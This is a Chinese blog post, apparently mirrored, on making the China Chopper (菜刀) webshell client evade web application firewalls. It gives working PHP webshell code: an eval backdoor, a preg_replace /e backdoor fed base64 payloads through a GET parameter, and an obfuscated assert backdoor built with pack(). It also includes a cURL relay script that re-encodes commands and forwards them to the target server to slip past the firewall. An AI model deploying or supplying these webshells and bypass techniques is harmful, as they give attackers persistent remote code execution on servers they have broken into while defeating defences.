zoukankan      html  css  js  c++  java
  • 菜刀php过waf

    关于PHP

    一、waf为啥会拦截菜刀。
    菜刀在连接时,会向server端POST数据,抓包查看:


    会看到他向server端post了 @eval(base64_decode($_POST[z0])); 一般的waf都会拦截eval的。

    二、要想菜刀仍然正常工作,就必须让菜刀中的内置的@eval(base64_decode($_POST[z0]));代码不被waf拦截,但又可以传递到server端。
    方案一:修改菜刀
    (1)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,写进服务端去。
    于是server端代码为:

    <?php
        if($_POST['c']!='')
    {
        @eval(base64_decode($_POST[z0]));
    } 
    ?>

    客户端用修改后的菜刀连接。
    说明:这种方法是将菜刀内置的eval(base64_decode($_POST[z0]))直接写到server端。

    (2)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,用get方式将eval(base64_decode($_POST[z0]))的base64加密形式发到服务端。
    server端代码:

    <?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>

    客户端用修改后的菜刀连接:
    http://www.s2ck.cc/test.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==

    说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过base64加密,然后通过get方式传到server端。

    方案二:中转
    client->自己服务器/应用(加密)->防火墙->真实地址(解密)
    (3)通过中转,将菜刀post的eval(base64_decode($_POST[z0]))进行加密。服务端进行解密。
    server端代码:

    <?php
     $func=pack("c6",97,115,115,101,114,116);
     $_POST['c']=base64_decode( $_POST['c']) ;
     $func($_POST['c']);
    ?>

    中转端代码:

    <?php
    $handle=curl_init();
    $DATA=array();
    $DATA=$_POST;
    $DATA['c']=base64_encode(substr($DATA['c'],1));
    curl_setopt($handle,CURLOPT_URL,'http://www.s2ck.cc/1.php');
    curl_setopt($handle,CURLOPT_HEADER,0);
    curl_setopt($handle,CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($handle,CURLOPT_POST,1);
    curl_setopt($handle,CURLOPT_POSTFIELDS,$DATA);
    $output=curl_exec($handle);
    if($output === FALSE) {
        echo "cURL Error: " . curl_error($handle);
    }
    echo ($output);
    curl_close($handle);
    ?>

    客户端:
    用原版菜刀连接。

    说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过中转端进行加密,然后server端进行解密。从而绕过waf

  • 相关阅读:
    JAVA笔记整理-数组
    JAVA笔记整理-流程控制-关键字 break、continue 、return的区别
    JAVA笔记整理-流程控制-循环
    Razor语法和Razor引擎大全
    MVC中几种常用ActionResult
    DataInputStream&DataOutputStream---操作基本类型值的流
    PipedOutputStream&PipedInputStream---管道流
    RandomAccessFile--随机访问文件
    ObjectOutputStream&ObjectInputStream--对象流
    SequenceInputStream--序列流
  • 原文地址:https://www.cnblogs.com/waw/p/5587455.html
Copyright © 2011-2022 走看看